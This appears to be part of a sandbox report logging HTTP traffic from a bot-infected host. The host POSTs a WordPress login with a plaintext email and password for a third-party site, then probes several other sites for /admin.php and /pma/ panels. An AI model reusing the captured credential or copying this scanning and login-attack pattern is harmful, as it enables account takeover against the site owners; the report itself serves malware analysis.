2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 20 7b 0d 0a 27 64 69 6d 65 6e 73 69 6f 6e 33 27 3a 20 27 73 69 74 65 76 65 72 73 69 6f 6e 27 0d 0a 7d 0d 0a 7d 29 3b 0d 0a 67 74 61 67 28 27 65 76 65 6e 74 27 2c 20 27 70 61 67 65 4c 6f 61 64 27 2c 20 7b 20 27 73 69 74 65 76 65 72 73 69 6f 6e 27 3a 20 27 48 44 76 33 27 20 7d 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 61 20 68 72 65 66 3d 22 23 6d 61 69 6e 22 20 63 6c 61 73 73 3d 22 73 6b 69 70 2d 6d 61 69 6e 22 3e 53 6b 69 70 20 74 6f 20 6d 61 69 6e 20 63 6f 6e 74 65 6e 74 3c 2f 61 3e 0a 3c 68 65 61 64 65 72 20 69 64 3d 22 68 65 61 64 65 72 22 20 63 6c 61 73 73 3d 22 68 64 76 33 48 65 61 64 65 72 44 61 72 6b 42 6c 75 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6a 73 2d 6f 76 65 72 6c 61 Data Ascii: 7ffa {'dimension3': 'siteversion'}});gtag('event', 'pageLoad', { 'siteversion': 'HDv3' });</script></head><body><a href="#main" class="skip-main">Skip to main content</a><header id="header" class="hdv3HeaderDarkBlue"><div class="js-overla
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 63 68 54 65 78 74 49 44 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 48 65 61 64 65 72 20 44 6f 6d 61 69 6e 20 53 65 61 72 63 68 22 3e 0a 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 76 61 6c 75 65 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 2d 62 74 6e 22 20 6f 6e 43 6c 69 63 6b 3d 22 68 64 76 33 48 65 61 64 65 72 53 65 61 72 63 68 53 75 62 6d 69 74 46 75 6e 63 28 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 20 22 20 73 74 79 6c 65 3d 22 6d 69 6e 2d 77 69 64 74 68 3a 39 30 70 78 3b 20 68 65 69 67 68 74 3a 33 35 70 78 3b 22 20 69 64 3d 22 68 64 76 33 48 65 61 64 65 72 53 65 61 72 63 68 42 75 74 74 6f 6e 49 44 22 3e 53 65 61 72 63 68 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 76 61 6c Data Ascii: chTextID" aria-label="Header Domain Search"><button type="submit" value class="search-btn" onClick="hdv3HeaderSearchSubmitFunc(); return false; " style="min-width:90px; height:35px;" id="hdv3HeaderSearchButtonID">Search</button><button type="button" val
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 76 2d 69 74 65 6d 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6e 64 65 78 2e 63 66 6d 22 3e 48 6f 6d 65 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 66 61 71 2e 63 66 6d 22 3e 46 41 51 73 3c 2f 62 3e 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 Data Ascii: v-item"><a class="nav-link " href="https://www.HugeDomains.com/index.cfm">Home</a></li><li class="nav-item"><a class="nav-link " href="https://www.HugeDomains.com/faq.cfm">FAQs</b></a></li><li class="nav-item"><a class="nav-link " href="https://www
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6e 61 76 3e 0a 3c 2f 68 65 61 64 65 72 3e 0a 3c 6d 61 69 6e 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 6d 61 69 6e 20 22 3e 0a 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 64 75 63 74 2d 66 61 76 2d 77 72 61 70 70 20 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 64 65 2d 77 72 61 70 70 20 64 6e 2d 6d 6f 62 69 6c 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6c 69 64 65 2d 73 69 64 65 62 61 72 2d 62 6c 6f 63 6b 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 73 2d 62 6c 6f 63 6b 2d 69 6e 6e 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 73 2d 62 6c 6f 63 6b 2d 69 6e 6e 65 72 2d 6e 65 77 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 73 2d 62 6c 6f 63 6b 2d 74 69 74 6c 65 20 Data Ascii: ></div></nav></header><main class="site-main "><div class="product-fav-wrapp container"><div class="side-wrapp dn-mobile"><div class="slide-sidebar-block"><div class="ss-block-inner"><div class="ss-block-inner-new"><span class="ss-block-title
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 70 61 6e 3e 0a 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 70 61 79 6d 65 6e 74 2d 70 6c 61 6e 2d 73 65 74 75 70 2e 63 66 6d 3f 64 3d 55 6e 69 71 75 65 41 75 73 74 72 61 6c 69 61 6e 2e 63 6f 6d 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 6d 2d 74 2d 30 20 22 20 69 64 3d 22 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 50 50 49 44 22 20 6f 6e 43 6c 69 63 6b 3d 22 24 28 27 23 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 50 50 49 44 27 29 2e 61 64 64 43 6c 61 73 73 28 27 68 69 64 64 65 6e 41 74 4c 6f 61 64 27 29 3b 20 24 28 27 23 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 50 50 50 72 6f 63 65 49 44 27 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 27 68 69 64 64 65 6e 41 74 4c 6f 61 64 27 Data Ascii: pan><a href="https://www.HugeDomains.com/payment-plan-setup.cfm?d=UniqueAustralian.com" class="btn m-t-0 " id="hdv3Billboard197PPID" onClick="$('#hdv3Billboard197PPID').addClass('hiddenAtLoad'); $('#hdv3Billboard197PPProceID').removeClass('hiddenAtLoad'
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 72 6f 6b 65 74 2d 73 69 64 65 2d 69 63 6f 2e 70 6e 67 22 20 61 6c 74 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 3e 54 61 6b 65 20 69 6d 6d 65 64 69 61 74 65 20 6f 77 6e 65 72 73 68 69 70 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6d 67 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 73 61 66 65 73 6d 61 6c 6c 69 63 6f 2e 70 6e 67 22 20 61 6c 74 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e Data Ascii: om/images/hdv3-img/roket-side-ico.png" alt></div><div class="content"><span>Take immediate ownership</span></div></li><li><div class="img"><img src="https://static.HugeDomains.com/images/hdv3-img/safesmallico.png" alt></div><div class="content">
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 65 74 2d 62 6c 6f 63 6b 2d 72 6f 77 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 6c 65 66 74 22 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 2e 63 66 6d 3f 64 3d 55 6e 69 71 75 65 41 75 73 74 72 61 6c 69 61 6e 26 65 3d 63 6f 6d 22 20 63 6c 61 73 73 3d 22 62 74 6e 22 20 73 74 79 6c 65 3d 22 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 30 70 78 3b 20 77 69 64 74 68 3a 31 37 30 70 78 3b 20 6d 69 6e 2d 77 69 64 74 68 3a 31 37 30 70 78 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 20 22 20 69 64 3d 22 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 42 75 79 54 61 62 49 44 22 20 6f 6e 43 6c 69 63 6b 3d 22 Data Ascii: et-block-row"><div class="tablet-block-left"><a href="https://www.HugeDomains.com/shopping_cart.cfm?d=UniqueAustralian&e=com" class="btn" style="padding-right:30px; width:170px; min-width:170px; margin-top:10px; " id="hdv3Billboard197BuyTabID" onClick="

Session ID	Source IP	Source Port	Destination IP	Destination Port
287	192.168.2.4	63130	192.252.146.15	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	352	OUT	POST /wp-login.php HTTP/1.1 Host: twohillsstudio.com Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://twohillsstudio.com/wp-login.php Content-Length: 158 Content-Type: application/x-www-form-urlencoded
2023-12-20 02:13:33 UTC	158	OUT	Data Raw: 6c 6f 67 3d 62 72 69 74 74 25 34 30 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 26 70 77 64 3d 4a 41 55 30 30 33 37 34 39 25 32 33 25 32 33 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=britt%40twohillsstudio.com&pwd=JAU003749%23%23&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Ftwohillsstudio.com%2Fwp-admin%2F&testcookie=1
2023-12-20 02:13:33 UTC	283	IN	HTTP/1.1 302 Found Date: Wed, 20 Dec 2023 02:13:33 GMT Server: Apache Location: https://cgi-sys.server294.com/verifyrequest.php?ip=102.129.152.212&sig=fb29434ec4ef1b1abf0c7f4a9653167d484ad9a6 Content-Length: 299 Connection: close Content-Type: text/html; charset=iso-8859-1
2023-12-20 02:13:33 UTC	299	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 67 69 2d 73 79 73 2e 73 65 72 76 65 72 32 39 34 2e 63 6f 6d 2f 76 65 72 69 66 79 72 65 71 75 65 73 74 2e 70 68 70 3f 69 70 3d 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 26 61 6d 70 3b 73 69 67 3d 66 62 32 39 34 33 34 65 63 34 65 66 31 62 31 61 62 66 30 63 37 66 34 61 39 36 35 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://cgi-sys.server294.com/verifyrequest.php?ip=102.129.152.212&sig=fb29434ec4ef1b1abf0c7f4a965

Session ID	Source IP	Source Port	Destination IP	Destination Port
288	192.168.2.4	63080	34.149.87.45	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	177	OUT	GET /admin.php HTTP/1.1 Host: www.orangutech.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	1086	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038413.61416519232601710185 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:33 GMT X-Served-By: cache-dfw-kdfw8210121-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLmUP/ddjOIocgASMjPBcXg4O5u3dMxPR3QRc6kpLZVuH,2d58ifebGbosy5xc+FRaltNCL/C11JU0X3G1w9xeRFORcW/AWfuAWLl5GdVFqHsPI/pY0vaPNaoa5AoLTSJErA==,2UNV7KOq4oGjA5+PKsX47JzIq9ZmP05BQuFbD4KFyTFYgeUJqUXtid+86vZww+nL,DY1v+aegb3s4AAkdrJsUZUSfsPjeh+wOoPebqPrPO1w=,JrkgFGO7U7bjOEi/EuK4OmGy0AMuDj9WzV7MOlw9PWo=,0gGrL7iazMoiuqlb7dEO3e/kqv1crbHRlba79Pts+CcB8BMFbAfksPc98d03q8KwMzrlPmWu4KwuxqFFXL+rxQ== Transfer-Encoding: chunked Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:33 UTC	166	IN	Data Raw: 62 37 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 Data Ascii: b71 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sc
2023-12-20 02:13:33 UTC	1252	IN	Data Raw: 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 Data Ascii: ale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width">
2023-12-20 02:13:33 UTC	1252	IN	Data Raw: 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 Data Ascii: vices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719
2023-12-20 02:13:33 UTC	271	IN	Data Raw: 72 72 65 64 3c 2f 68 31 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e Data Ascii: rred</h1> <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port
289	192.168.2.4	63127	34.149.87.45	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	183	OUT	GET /admin.php HTTP/1.1 Host: www.newriverclimbing.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	1085	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038413.6261650600898211357 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:33 GMT X-Served-By: cache-dfw-kdfw8210159-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLlAwLb1tXR23DYhcoMEdpYDu/2EjeiyKjB/JVOb8T5Ve,2d58ifebGbosy5xc+FRalm2e3vKMneoZWUbWSsLJeE/1dUFeaHZPYHTeASrIlbw/4myTClbTZotDnmF6uVHxMw==,2UNV7KOq4oGjA5+PKsX47Ad3BAkeAb9lWxcyN70+/DFYgeUJqUXtid+86vZww+nL,S+3YDkrdjZ6isF/aTRkOdUjmz5YjnwZx7K9uZU5HfPQ=,q5T+u6/UFaLKF5MwuqQmpJiLcxhI56TnRMuOm6jCa0U=,0gGrL7iazMoiuqlb7dEO3X/E93jFhK4l0afl3puteNOAiU/V+bVHSMSuxcZ8nLbggcnXBFOIpm8hopJC7ovD+Q== Transfer-Encoding: chunked Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:33 UTC	167	IN	Data Raw: 62 37 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 Data Ascii: b71 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sca
2023-12-20 02:13:33 UTC	1252	IN	Data Raw: 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c Data Ascii: le=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <
2023-12-20 02:13:33 UTC	1252	IN	Data Raw: 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e Data Ascii: ices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.
2023-12-20 02:13:33 UTC	270	IN	Data Raw: 72 65 64 3c 2f 68 31 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a Data Ascii: red</h1> <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port
290	192.168.2.4	63199	66.96.160.139	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	169	OUT	GET /pma/ HTTP/1.1 Host: ads-ecuador.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	222	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:33 GMT Content-Type: text/html Content-Length: 867 Connection: close Server: Apache/2 Last-Modified: Fri, 10 Jan 2020 16:05:10 GMT Accept-Ranges: bytes Age: 0
